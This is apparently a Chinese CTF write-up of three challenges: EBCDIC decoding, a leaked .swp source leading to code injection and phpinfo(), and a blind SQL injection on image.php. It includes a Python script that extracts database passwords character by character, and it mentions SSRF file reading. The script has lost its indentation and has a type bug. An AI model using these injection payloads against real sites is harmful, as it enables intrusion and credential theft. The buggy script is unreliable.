签到
根据附件文件名是EBCDIC知道编码,然后直接转码拿flag。
find_it
拿到题目,没啥思路,看到robots里提示去1ndexx.php,访问没东西,查备份查到/.1ndexx.php.swp有源码,
查看源码,可以传入code的值写入hack.php中,并且对长度和一些字符进行了过滤,然后尝试访问phpinfo(),这里一直很懵,一开始是以为是从1ndexx.php中传入code参数,不断尝试发现不是,最后在主页里尝试成功了,就离谱,然后直接查看phpinfo(),因为这里是直接把flag写进全局变量了,所以直接搜flag就拿到flag了。
WebsiteManger
看目录的时候发现user.php放行至index.php的时候有image.php并且有参数id,因此猜测id为注入点,测试发现过滤字符较多直接抓包测试就行,177是被过滤的,然后进行测试
?id=if(1=1,1,0)
?id=if(1=2,1,0)
正确的时候出现图片,错误的时候不出现,于是写脚本获取信息,库:ctf,表:images,users,列:username,password,字段:admin,2e0b406a0c24f74a999a8,获取密码的脚本
import requests
allstring = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
s = requests.session()
url = 'http://eci-2zecrfutex8wyzi4y8mg.cloudeci1.ichunqiu.com/image.php'
table = ''
for i in range(1, 45):
print(i)
for j in allstring:
payload = "if(ascii(substr((select/**/group_concat(password)/**/from/**/ctf.users),{},1))%3E{},0,1)" .format(i, ord(j))
ra = s.get(url=url + '?id=1 or ' + payload).text
if 'JFJF' in ra:
table += chr(j)
print(table)
break
然后登陆,当时倒着就做不出来了,到最后也没出,不过当时没想过用filt:// /flag读取flag,看到大佬的flag知道,这里的curl.php存在ssrf,然后尝试使用filt读取文件,当时的姿势不对,想复杂了
依旧是做出的贡献不大,下次继续加油...
评论 (0)